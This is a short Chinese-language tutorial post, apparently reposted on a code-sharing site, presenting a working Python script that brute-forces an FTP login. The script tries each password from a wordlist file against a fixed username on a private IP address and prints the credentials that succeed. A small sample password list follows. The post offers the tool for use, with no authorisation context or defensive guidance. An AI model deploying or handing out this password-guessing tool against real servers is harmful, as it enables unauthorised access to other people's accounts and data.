python腳本-暴力破解FTP服務器密碼


1、首先要知道FTP用戶名,這里使用renqiyuan。

2、自定義一個密碼文件pass.txt,進行暴力破解。

代碼如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import ftplib

def ftpLogin(host, Name, PassFile):

    #讀取密碼文件
    PF = open(PassFile, 'r')
    for line in PF.readlines():
        name = Name
        passwd = str(line).strip()
        print("Trying: "+name+"/"+passwd)
        try:
            ftp = ftplib.FTP(host)
            ftp.login(name,passwd)
            print("登錄成功",name, passwd)
            ftp.quit()
            return (name, passwd)
        except Exception as e:
            pass
    print("沒有找到正確的密碼")
    return None

hostName = '172.16.10.200'
passwordFile = 'pass.txt'

if __name__ == '__main__':
    ftpLogin(hostName, "renqiyuan", passwordFile)

密碼文件:

2222
123
123
123
111111
231
123

運行結果

image


讀書和健身總有一個在路上


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM